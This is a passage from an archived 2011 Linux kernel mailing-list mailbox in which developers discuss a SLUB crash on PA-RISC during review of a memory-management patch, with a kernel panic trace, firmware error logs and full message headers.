[    0.076000] ns_cgroup deprecated: consider using the 'clone_children' flag without the ns_cgroup.
[    0.080000] Initializing cgroup subsys cpuacct
[    0.092000] Initializing cgroup subsys devices
[    0.092000] Initializing cgroup subsys freezer
[    0.100000] Initializing cgroup subsys net_cls
[    0.100000] Initializing cgroup subsys blkio
[    0.200000] Backtrace:
[    0.200000]  [<000000004021c938>] add_partial+0x28/0x98
[    0.200000]  [<000000004021faa0>] __slab_free+0x1d0/0x1d8
[    0.200000]  [<000000004021fd04>] kmem_cache_free+0xc4/0x128
[    0.200000]  [<000000004033bf9c>] ida_get_new_above+0x21c/0x2c0
[    0.200000]  [<00000000402a8980>] sysfs_new_dirent+0xd0/0x238
[    0.200000]  [<00000000402a974c>] create_dir+0x5c/0x168
[    0.200000]  [<00000000402a9ab0>] sysfs_create_dir+0x98/0x128
[    0.200000]  [<000000004033d6c4>] kobject_add_internal+0x114/0x258
[    0.200000]  [<000000004033d9ac>] kobject_add_varg+0x7c/0xa0
[    0.200000]  [<000000004033df20>] kobject_add+0x50/0x90
[    0.200000]  [<000000004033dfb4>] kobject_create_and_add+0x54/0xc8
[    0.200000]  [<00000000407862a0>] cgroup_init+0x138/0x1f0
[    0.200000]  [<000000004077ce50>] start_kernel+0x5a0/0x840
[    0.200000]  [<000000004011fa3c>] start_parisc+0xa4/0xb8
[    0.200000]  [<00000000404bb034>] packet_ioctl+0x16c/0x208
[    0.200000]  [<000000004049ac30>] ip_mroute_setsockopt+0x260/0xf20
[    0.200000] 
[    0.200000] 
[    0.200000] Kernel Fault: Code=26 regs=00000000405bca80 (Addr=0000000000000000)
[    0.200000] 
[    0.200000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[    0.200000] PSW: 00001000000001001111001000001110 Not tainted
[    0.200000] r00-03  000000ff0804f20e 0000000040778360 000000004021c938 0000000000000000
[    0.200000] r04-07  0000000040754b60 0000000000000001 00000000418b1440 000000007ec01280
[    0.200000] r08-11  0000000000000000 00000000405f7380 00000000000003c0 000000007fffffff
[    0.200000] r12-15  00000000405bc7d8 00000000405f7398 00000000405bc6e8 00000000000041ed
[    0.200000] r16-19  00000000f0d00b0c 0000000000000000 0000000000000000 0000000000000000
[    0.200000] r20-23  000000000800000e 0000000000000001 00000000f0000000 000000004033bf9c
[    0.200000] r24-27  0000000000000001 00000000418b1440 0000000000000000 0000000040754b60
[    0.200000] r28-31  000000007ec08000 00000000405bca50 00000000405bca80 000000000000001d
[    0.200000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[    0.200000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[    0.200000] 
[    0.200000] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004011c0f0 000000004011c0f4
[    0.200000]  IIR: 0f4015dc    ISR: 0000000000000000  IOR: 0000000000000000
[    0.200000]  CPU:        0   CR30: 00000000405bc000 CR31: fffffff0f0e098e0
[    0.200000]  ORIG_R28: 0000000000000100
[    0.200000]  IAOQ[0]: _raw_spin_lock+0x0/0x20
[    0.200000]  IAOQ[1]: _raw_spin_lock+0x4/0x20
[    0.200000]  RP(r2): add_partial+0x28/0x98
[    0.200000] Backtrace:
[    0.200000]  [<000000004021c938>] add_partial+0x28/0x98
[    0.200000]  [<000000004021faa0>] __slab_free+0x1d0/0x1d8
[    0.200000]  [<000000004021fd04>] kmem_cache_free+0xc4/0x128
[    0.200000]  [<000000004033bf9c>] ida_get_new_above+0x21c/0x2c0
[    0.200000]  [<00000000402a8980>] sysfs_new_dirent+0xd0/0x238
[    0.200000]  [<00000000402a974c>] create_dir+0x5c/0x168
[    0.200000]  [<00000000402a9ab0>] sysfs_create_dir+0x98/0x128
[    0.200000]  [<000000004033d6c4>] kobject_add_internal+0x114/0x258
[    0.200000]  [<000000004033d9ac>] kobject_add_varg+0x7c/0xa0
[    0.200000]  [<000000004033df20>] kobject_add+0x50/0x90
[    0.200000]  [<000000004033dfb4>] kobject_create_and_add+0x54/0xc8
[    0.200000]  [<00000000407862a0>] cgroup_init+0x138/0x1f0
[    0.200000]  [<000000004077ce50>] start_kernel+0x5a0/0x840
[    0.200000]  [<000000004011fa3c>] start_parisc+0xa4/0xb8
[    0.200000]  [<00000000404bb034>] packet_ioctl+0x16c/0x208
[    0.200000]  [<000000004049ac30>] ip_mroute_setsockopt+0x260/0xf20
[    0.200000] 
[    0.200000] Kernel panic - not syncing: Kernel Fault
[    0.200000] Backtrace:
[    0.200000]  [<000000004011fec4>] show_stack+0x14/0x20
[    0.200000]  [<000000004011fee8>] dump_stack+0x18/0x28
[    0.200000]  [<000000004015a9a4>] panic+0xd4/0x368
[    0.200000]  [<0000000040120564>] parisc_terminate+0x14c/0x170
[    0.200000]  [<0000000040120adc>] handle_interruption+0x2ac/0x8f8
[    0.200000]  [<000000004011c0f0>] _raw_spin_lock+0x0/0x20
[    0.200000] 
[    0.200000] Rebooting in 5 seconds..

James


--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 11:50:58 -0500 (CDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104201149520.12154@router.home>
References: <20110420161615.462D.A69D9226@jp.fujitsu.com>  <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>  <20110420174027.4631.A69D9226@jp.fujitsu.com> <1303317178.2587.30.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303318274 18904 80.91.229.12 (20 Apr 2011 16:51:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 16:51:14 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
  Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
  Andrew Morton <akpm@linux-foundation.org>, Hugh Dickins <hughd@google.com>,
  linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
  linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>,
  Ingo Molnar <mingo@elte.hu>, x86 maintainers <x86@kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-linux-mm@kvack.org Wed Apr 20 18:51:08 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCacN-0006l9-Nw
	for glkm-linux-mm-2@m.gmane.org; Wed, 20 Apr 2011 18:51:08 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id A330E8D0040; Wed, 20 Apr 2011 12:51:05 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 71DD58D003B; Wed, 20 Apr 2011 12:51:04 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id ACF0D8D0040; Wed, 20 Apr 2011 12:51:04 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail203.messagelabs.com (mail203.messagelabs.com [216.82.254.243])
	by kanga.kvack.org (Postfix) with SMTP id 98D058D003B
	for <linux-mm@kvack.org>; Wed, 20 Apr 2011 12:51:03 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: cl@linux.com
X-Msg-Ref: server-5.tower-203.messagelabs.com!1303318260!38028435!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [76.13.13.93]
X-SpamReason: No, hits=0.0 required=7.0 tests=UNPARSEABLE_RELAY
Original-Received: (qmail 16679 invoked from network); 20 Apr 2011 16:51:00 -0000
Original-Received: from smtp110.prem.mail.ac4.yahoo.com (HELO smtp110.prem.mail.ac4.yahoo.com) (76.13.13.93)
  by server-5.tower-203.messagelabs.com with SMTP; 20 Apr 2011 16:51:00 -0000
Original-Received: (qmail 95810 invoked from network); 20 Apr 2011 16:51:02 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp110.prem.mail.ac4.yahoo.com with SMTP; 20 Apr 2011 09:51:02 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: hkAI3.8VM1lVellw8h0zWrDKl9jwq2DR.225wqhXuX0ijCQ
 zKFNXWXWWa.03vB7MN618SdgwF7hsezOwEoDjxa4mq8q7QkdFVZ.Gbb3jC6a
 PxOY_gdjcRkJG4GgiSFiz_qidzPQ1kQ9BXkhHZBO9HjoCsRGJ1exCMIVH5NE
 TH42gLKcich_G3HfiG_BLqoJ24BbaYXop0zetXVgvtRjc_y0lqCL..AFfvpE
 fVfjOVWLG7W02cWVTEs3EZwu.g7GFIhBH.5v70Gp5Z8KGWwOQKICPqVLEtCu
 8MAR3LBfOdknArw_KI651lJsyuUI6.em2GAP7Q7fxYs9Sc9ea
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCacH-0003Az-Kd; Wed, 20 Apr 2011 11:51:01 -0500
X-X-Sender: cl@router.home
In-Reply-To: <1303317178.2587.30.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61703 gmane.linux.kernel:1129114 gmane.linux.ports.parisc:3623
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61703>

On Wed, 20 Apr 2011, James Bottomley wrote:

> > > That part makes me think the best option is to make parisc do
> > > CONFIG_NUMA as well regardless of the historical intent was.

Well if it never supported NUMA then this is going to be problematic.
> > >
> > >                         Pekka
> >
> > This?
>
> I'm afraid it doesn't boot (it's another slub crash):

Is there any simulator available that we can use to run a parisc boot?

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 13:09:55 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <1303322995.2587.42.camel@mulgrave.site>
References: <20110420161615.462D.A69D9226@jp.fujitsu.com>
	 <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
	 <20110420174027.4631.A69D9226@jp.fujitsu.com>
	 <1303317178.2587.30.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201149520.12154@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303323007 14938 80.91.229.12 (20 Apr 2011 18:10:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 18:10:07 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>,
	Ingo Molnar <mingo@elte.hu>, x86 maintainers <x86@kernel.org>
To: Christoph Lameter <cl@linux.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 20:10:01 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCbqi-0000qA-WA
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 20:10:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751981Ab1DTSKA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 14:10:00 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45840 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751465Ab1DTSJ7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 14:09:59 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B8FC18EE0A4;
	Wed, 20 Apr 2011 11:09:58 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Tl2iDHUdEHfY; Wed, 20 Apr 2011 11:09:58 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9BD688EE01D;
	Wed, 20 Apr 2011 11:09:57 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104201149520.12154@router.home>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3624 gmane.linux.kernel.mm:61704 gmane.linux.kernel:1129140
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3624>

On Wed, 2011-04-20 at 11:50 -0500, Christoph Lameter wrote:
> > I'm afraid it doesn't boot (it's another slub crash):
> 
> Is there any simulator available that we can use to run a parisc boot?

I don't think we have a simulator.  However, if you send a ssh key to

T-Bone@parisc-linux.org

He can loan you remote access to one of the systems that ESIEE in France
hosts for us.  (he's expecting you).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Notes about the latest cache patches
Date: Wed, 20 Apr 2011 14:15:46 -0400
Organization: nrc.ca
Lines: 32
Approved: news@gmane.org
Message-ID: <20110420181546.GA12862@hiauly1.hia.nrc.ca>
References: <1302889310.7706.8.camel@mulgrave.site> <20110420141703.GA11761@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1303323355 17128 80.91.229.12 (20 Apr 2011 18:15:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 18:15:55 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 20:15:50 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCbwL-0005Vt-RM
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 20:15:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750839Ab1DTSPs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 14:15:48 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:4651 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750836Ab1DTSPs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 14:15:48 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 701AA4DF4; Wed, 20 Apr 2011 14:15:47 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20110420141703.GA11761@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3625
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3625>

On Wed, 20 Apr 2011, John David Anglin wrote:

> Assists Check                = 0x00ed7800

> Check Summary                = 0x8400000000800000

Seems to be an assist check.  Reported something similar in 2009.
The arch talks about an architecturally defined loop for the fice
instruction (SFU?).  Maybe this is a hardware problem.

The error log contained the following:

82    SFW  0  *7  0xE880035C00E00910 00000000401011C4 ERR_CHECK_HPMC
                                                      20 Apr 2011 11:57:22
83    SFW  1  *7  0xE880035C01E00930 0000000040126638 ERR_CHECK_HPMC
						      20 Apr 2011 11:57:22
84    SFW  0   2  0x57800F7300E00950 8400000000800000 ERR_CPU_CHECK_SUMMARY
						      20 Apr 2011 11:57:22
85    SFW  1   2  0x57800F7301E00970 8400000000800000 ERR_CPU_CHECK_SUMMARY
						      20 Apr 2011 11:57:22
86    SFW  1   2  0x5680100B01E00990 0000000000000194 MC_OS_HPMC_LEN_ERR
						      20 Apr 2011 11:57:22

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
	expand_upwards
Date: Wed, 20 Apr 2011 13:25:41 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20110420192540.GC31296@parisc-linux.org>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com> <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com> <20110420161615.462D.A69D9226@jp.fujitsu.com> <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com> <20110420112020.GA31296@parisc-linux.org> <BANLkTim+m-v-4k17HUSOYSbmNFDtJTgD6g@mail.gmail.com> <1303308938.2587.8.camel@mulgrave.site> <alpine.DEB.2.00.1104200943580.9266@router.home> <1303311779.2587.19.camel@mulgrave.site> <alpine.DEB.2.00.1104201018360.9266@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1303327552 9819 80.91.229.12 (20 Apr 2011 19:25:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 19:25:52 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Pekka Enberg <penberg@kernel.org>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>,
	Ingo Molnar <mingo@elte.hu>, x86 maintainers <x86@kernel.org>,
	linux-arch@vger.kernel.org, Mel Gorman <mel@csn.ul.ie>
To: Christoph Lameter <cl@linux.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Apr 20 21:25:45 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1QCd20-0001Ma-T7
	for glka-linux-arch@lo.gmane.org; Wed, 20 Apr 2011 21:25:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755673Ab1DTTZn (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 20 Apr 2011 15:25:43 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:44000 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755663Ab1DTTZn (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 20 Apr 2011 15:25:43 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 9737C494006; Wed, 20 Apr 2011 13:25:41 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <alpine.DEB.2.00.1104201018360.9266@router.home>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:9630 gmane.linux.kernel.mm:61706 gmane.linux.kernel:1129172 gmane.linux.ports.parisc:3626
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/9630>

On Wed, Apr 20, 2011 at 10:22:04AM -0500, Christoph Lameter wrote:
> There is barely any testing going on at all of this since we have had this
> issue for more than 5 years and have not noticed it. The absence of bug
> reports therefore proves nothing. Code inspection of the VM shows
> that this is an issue that arises in multiple subsystems and that we have
> VM_BUG_ONs in the page allocator that should trigger for these situations.

So ... we've proven that people using these architectures use SLAB
instead of SLUB, don't enable CONFIG_DEBUG_VM and don't use hugepages
(not really a surprise ... nobody's running Oracle on these arches :-)

I don't think that qualifies as "barely any testing".  I think that's
"nobody developing the Linux MM uses one of these architectures".

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."

From - Thu Nov 08 21:07:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 14:05:16 -0700 (PDT)
Lines: 46
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104201403060.31768@chino.kir.corp.google.com>
References: <20110420161615.462D.A69D9226@jp.fujitsu.com> <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com> <20110420174027.4631.A69D9226@jp.fujitsu.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303333546 12373 80.91.229.12 (20 Apr 2011 21:05:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 21:05:46 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>,
	Christoph Lameter <cl@linux.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 20 23:05:39 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QCeag-0008JY-V2
	for glk-linux-kernel-3@lo.gmane.org; Wed, 20 Apr 2011 23:05:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755108Ab1DTVFc (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 20 Apr 2011 17:05:32 -0400
Original-Received: from smtp-out.google.com ([216.239.44.51]:13290 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750814Ab1DTVFa (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 20 Apr 2011 17:05:30 -0400
Original-Received: from wpaz33.hot.corp.google.com (wpaz33.hot.corp.google.com [172.24.198.97])
	by smtp-out.google.com with ESMTP id p3KL5U2I009107
	for <linux-kernel@vger.kernel.org>; Wed, 20 Apr 2011 14:05:30 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1303333530; bh=BO9qtZnYdTORnkEp461YtwHlqsA=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=RQTD8O9N3uUvshNkUAk+J3hrMxQB9HsdZHVckduy5CmtalsfNtwhAhyzEifEzAbfx
	 gI1oqOKkFWRNGQvUhsI1Q==
Original-Received: from pxi9 (pxi9.prod.google.com [10.243.27.9])
	by wpaz33.hot.corp.google.com with ESMTP id p3KL5IS7015217
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-kernel@vger.kernel.org>; Wed, 20 Apr 2011 14:05:18 -0700
Original-Received: by pxi9 with SMTP id 9so845389pxi.0
        for <linux-kernel@vger.kernel.org>; Wed, 20 Apr 2011 14:05:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:in-reply-to
         :message-id:references:user-agent:mime-version:content-type;
        bh=gTcaHTtuu+6oal2ui0N9lp9Cpr7PHzZQqH/Rc+1XGZg=;
        b=Tzu+7WCCiLRq1KZ65Lfnhhvq67/qRcgvbYagT65Ygj2ich7x1+1YxQIqR9PtTNU8T1
         7R/M7w6amV2DJcWL/SjA==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id
         :references:user-agent:mime-version:content-type;
        b=O96TLdF9sL0dqxT3wkIpS8ejD3khCTOfIrzKwRLs+KRZSaPK846T275CPCatGR3Yoz
         PAEgNYSE8dFFIrR3rUCQ==
Original-Received: by 10.68.40.232 with SMTP id a8mr11707017pbl.340.1303333517917;
        Wed, 20 Apr 2011 14:05:17 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.6.12])
        by mx.google.com with ESMTPS id m7sm843622pbd.33.2011.04.20.14.05.16
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 20 Apr 2011 14:05:17 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <20110420174027.4631.A69D9226@jp.fujitsu.com>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1129245 gmane.linux.kernel.mm:61710 gmane.linux.ports.parisc:3627
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1129245>

